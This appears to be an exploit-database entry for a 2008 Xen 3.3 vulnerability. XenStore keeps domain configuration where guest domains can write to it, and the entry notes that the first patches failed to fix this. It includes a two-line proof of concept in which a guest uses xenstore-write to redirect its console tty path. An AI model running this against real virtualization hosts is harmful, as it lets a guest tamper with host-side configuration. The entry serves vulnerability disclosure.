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Xen 3.3 - XenStore Domain Configuration Data Unsafe Storage

🗓️ 30 Sep 2008 00:00:00Reported by Pascal BouchareineType 
exploitpack
 exploitpack
👁 15 Views

Xen 3.3 vulnerability in Configuration Data Storag

Code
source: https://www.securityfocus.com/bid/31499/info

Xen is prone to a vulnerability that results in configuration information being stored in a location that is writable by guest domains.

UPDATE (December 19, 2008): The initial proposed patches did not resolve this issue.

Xen 3.3 is vulnerable; other versions may also be affected. 

#yum install xen
# xenstore-write /local/domain/GUEST-DOMID/console/tty /i/am/the/evil/guest

Data

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30 Sep 2008 00:00Current
7.4High risk
Vulners AI Score7.4
15